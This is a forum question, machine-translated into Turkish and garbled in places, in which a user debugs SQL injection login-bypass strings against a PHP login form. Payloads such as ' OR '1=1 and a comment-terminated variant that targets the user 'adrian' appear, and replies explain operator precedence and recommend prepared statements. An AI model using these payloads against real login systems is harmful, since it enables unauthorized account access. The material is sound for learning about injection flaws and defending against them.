Bir enjeksiyon saldırısı başlatırken alabildiğim sql sözdizimi sorunlarını anlamıyorum, bu nedenle bunları açıklayan herhangi bir yardım çok takdir edilmektedir. Kullanıcı adı/parola combo alan ve sonra çok basit bir şekilde çalışan bir hedef php giriş betiğim var.sql injection boolean sözdizimi
Select * FROM users WHERE username='$username' AND password='$password'
ben
Select * FROM users WHERE username='' OR '1=1' AND password='' OR '1=1'
olarak değerlendirilirse ve veritabanında ilk kullanıcı girişi için bir maç (alır çünkü temel
$username = ' OR '1=1
$password = ' OR '1=1
sistem yöneticisi olarak beni günlükleri arz zaman yönetici). Şimdi senaryoyu, adrian adında rastgele bir kullanıcı olarak girmeye çalışıyorum. Benim düşünce parantez dahil edildiğinde ben
Select * FROM users WHERE username='adrian' AND password='' OR (1=1 AND username='adrian') -- '
I operasyonların boolean sırası soldan sağa düşündüm değerlendirmek düşündüm
$username = adrian
$password = ' OR (1=1 AND username='adrian') --
kaynağı oldu:
Select * FROM users WHERE [[[username='adrian'] AND password=''] OR (1=1 AND username='adrian')] -- '
ama Bu beni hiç kimse olarak kaydetmiyor (ve bana hata yapmadan). VE son değerlendirilir bile, bu açıklama hala kullanıcı adrian için de geçerli olacağı
Select * FROM users WHERE [username='adrian'] AND [password='' OR (1=1 AND username='adrian')]
olarak değerlendirilir. Bu arada
$username = adrian
$password = 'or(1=1 and username='adrian') --
'veya' benim yaklaşım çalışır iken Peki neden benim yaklaşım "VEYA" çalışmıyor
Select * FROM users WHERE username='adrian' AND password=''or(1=1 AND username='adrian') -- '
olarak değerlendirilirse, hangi düzgün olarak Adrian beni günlüğü nedir?
SOLVED: Rehberlik için teşekkürler. Şimdi daha iyi sql anlıyorum ama benim asıl sorun otomatik doldurma sonra boşluk kaldırarak olmasıydı "-" Ben ilk defa berbat ve sonra aptalca sonra dışarı
Maalesef ... tekrar açıldı var. – Orangepill
Operatör önceliği: '=', sonra 'AND', sonra' OR'. – Gumbo
İşte size bir öneri: Platformunuz (bu durumda, [PHP] (https://secure.php.net/manual/en/pdo.prepared-statements.php)) hazırlanmış ifadeleri ve parametre bağlamayı destekliyorsa, onları kullanmalı. Bu genellikle sizin için kaçan sorunları ele alır. – Powerlord